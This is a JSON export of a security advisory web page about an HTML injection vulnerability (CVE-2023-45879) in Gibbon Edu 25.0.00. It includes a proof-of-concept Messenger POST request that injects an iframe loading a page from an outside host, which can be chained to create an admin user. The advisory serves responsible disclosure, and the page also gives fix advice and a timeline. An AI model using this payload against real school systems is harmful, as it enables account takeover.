{"id":21253,"date":"2023-11-02T09:32:04","date_gmt":"2023-11-02T08:32:04","guid":{"rendered":"https:\/\/herolab.usd.de\/21247-2\/"},"modified":"2023-11-14T15:29:14","modified_gmt":"2023-11-14T14:29:14","slug":"usd-2023-0019","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0019\/","title":{"rendered":"usd-2023-0019"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2023-0019 | HTML Injection<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0019<br \/><strong>Product<\/strong>: Gibbon (https:\/\/gibbonedu.org\/)<br \/><strong>Affected Version<\/strong>: 25.0.00<br \/><strong>Vulnerability Type<\/strong>: CWE-79: <span>HTML Injection<\/span><br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/gibbonedu.org\" target=\"_blank\" rel=\"noopener\">https:\/\/gibbonedu.org<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE number<\/strong>: CVE-2023-45879<\/p>\n<h3>Desciption<\/h3>\n<p>Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processes<br \/>It offers a range of features to facilitate communication, collaboration, and organization within the educational community.<\/p>\n<p>A user with permissions to send messages can inject an <strong>iframe<\/strong> into the application.<br \/>This can be used to abuse a XSS\/CSRF vulnerability in the admin backend, to create a new admin user.<\/p>\n<p>The message can be send to an existing admin user. When the target opens the message, the (hidden) <strong>iframe<\/strong> will be embedded into the application.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>To create the message, navigate to the <i>Home &gt; Messenger &gt; New Message<\/i> site.<\/p>\n<p>Fill the form and select an admin user as reciepent. Intercept the request and change the message body to<\/p>\n<pre>&lt;iframe src=\"http:\/\/responsible-disclosure:8989\/index.html\"&gt;&lt;\/iframe&gt;<\/pre>\n<div class=\"codehilite\" style=\"background: #263238; color: #eff;\">\n<pre style=\"line-height: 125%;\"><span style=\"background: #263238;\"><\/span><span class=\"nf\" style=\"background: #263238; color: #82aaff;\">POST<\/span> <span class=\"nn\" style=\"background: #263238; color: #ffcb6b;\">\/modules\/Messenger\/messenger_postProcess.php <\/span><span class=\"kr\" style=\"background: #263238; color: #bb80b3;\">HTTP<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">\/<\/span><span class=\"m\" style=\"background: #263238; color: #f78c6c;\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238; color: #bb80b3;\">Host<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">:<\/span> <span class=\"l\" style=\"background: #263238; color: #c3e88d;\">localhost:8080<\/span>\n<span class=\"err\" style=\"background: #263238; color: #ff5370;\">[...]<\/span>\n\n------WebKitFormBoundaryHs6JkrrxpoUfeRfX\nContent-Disposition: form-data; name=\"address\"\n\n\n\/modules\/Messenger\/messenger_post.php\n------WebKitFormBoundaryHs6JkrrxpoUfeRfX\nContent-Disposition: form-data; name=\"subject\"\n\ntest\n------WebKitFormBoundaryHs6JkrrxpoUfeRfX\nContent-Disposition: form-data; name=\"body\"\n\n&lt;p&gt;&lt;iframe src=\"http:\/\/localhost:8989\/index.html\"&gt;&lt;\/iframe&gt;&lt;\/p&gt;\n------WebKitFormBoundaryHs6JkrrxpoUfeRfX\n[...]\nContent-Disposition: form-data; name=\"individualList[]\"\n\n0000000001\n------WebKitFormBoundaryHs6JkrrxpoUfeRfX--\n<\/pre>\n<\/div>\n<p>As shown in the screenshot below, the iframe is injected into the message.<br \/><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/eff70c92-c6c3-45b0-99d9-578f5da5b8c1.png\" width=\"787\" height=\"359\" alt=\"\" class=\"wp-image-21250 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/eff70c92-c6c3-45b0-99d9-578f5da5b8c1.png 787w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/eff70c92-c6c3-45b0-99d9-578f5da5b8c1-480x219.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 787px, 100vw\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\"4.23.1\" _module_preset=\"default\"][et_pb_column _builder_version=\"4.23.1\" _module_preset=\"default\" type=\"4_4\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<\/p>\n<p data-pm-slice=\"1 1 []\">This vulnerability can be chained with others, resulting in an exploit path that we demonstrated in this video:<\/p>\n<p>[\/et_pb_text][et_pb_code _builder_version=\"4.23.1\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\" max_width=\"67%\"]<iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube-nocookie.com\/embed\/KTnc9R2J3As?si=hTJFdiXEmMXXztrm\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>[\/et_pb_code][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to treat all input on the website as potentially dangerous.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/owasp.org\/www-project-web-security-testing-guide\/latest\/4-Web_Application_Security_Testing\/11-Client-side_Testing\/03-Testing_for_HTML_Injection<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-06-27<\/strong>: Vulnerability identified by Christian Poeschl<\/li>\n<li><strong>2023-09-19<\/strong>: Security Release v25.0.01<\/li>\n<li><strong>2023-11-02<\/strong>: Advisory published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian Poeschl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0019 | HTML Injection Advisory ID: usd-2023-0019Product: Gibbon (https:\/\/gibbonedu.org\/)Affected Version: 25.0.00Vulnerability Type: CWE-79: HTML InjectionSecurity Risk: MediumVendor URL: https:\/\/gibbonedu.orgVendor acknowledged vulnerability: YesVendor Status: FixedCVE number: CVE-2023-45879 Desciption Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processesIt offers a range of features to facilitate communication, collaboration, [&hellip;]<\/p>\n","protected":false},"author":115,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-21253","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21253","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/115"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=21253"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21253\/revisions"}],"predecessor-version":[{"id":21438,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21253\/revisions\/21438"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=21253"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}